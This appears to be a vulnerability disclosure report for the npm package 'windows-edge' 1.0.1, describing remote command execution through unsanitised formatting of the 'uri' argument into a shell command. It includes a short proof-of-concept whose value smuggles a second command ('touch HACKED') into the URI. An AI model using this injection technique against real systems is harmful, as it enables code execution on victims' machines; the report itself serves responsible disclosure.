[windows-edge] RCE via insecure command formatting

I would like to report a `RCE` issue in the `windows-edge` module. It allows to execute `arbitrary commands remotely inside the victim's PC` # Module **module name:** `windows-edge` **version:** `1.0.1` **npm page:** `https://www.npmjs.com/package/windows-edge` ## Module Description > Launch a new Microsoft Edge tab on Windows ## Module Stats [102] downloads in the last week ## Vulnerability Description The issue occurs because a `user input` is formatted inside a `command` that will be executed without any check. The issue arises here: https://github.com/eugeneware/windows-edge/blob/master/index.js#L8 ## Steps To Reproduce: 1. Create the following PoC file: ```js // poc.js const edge = require('windows-edge'); edge({ uri: 'https://github.com/; touch HACKED; #' }, (err, ps) => {}) ``` 1. Check there aren't files called `HACKED` 1. Execute the following commands in another terminal: ```bash npm i windows-edge # Install affected module node poc.js # Run the PoC ``` 1. Recheck the files: now `HACKED` has been created :) {F835199} ## Patch > Don't format `commands` using insecure `user's inputs` :) ## Supporting Material/References: - [OPERATING SYSTEM VERSION]: Kali Linux - [NODEJS VERSION]: v12.16.1 - [NPM VERSION]: 6.13.4 # Wrap up - I contacted the maintainer to let them know: [N] - I opened an issue in the related repository: [N] ## Impact `RCE` via command formatting on `windows-edge`
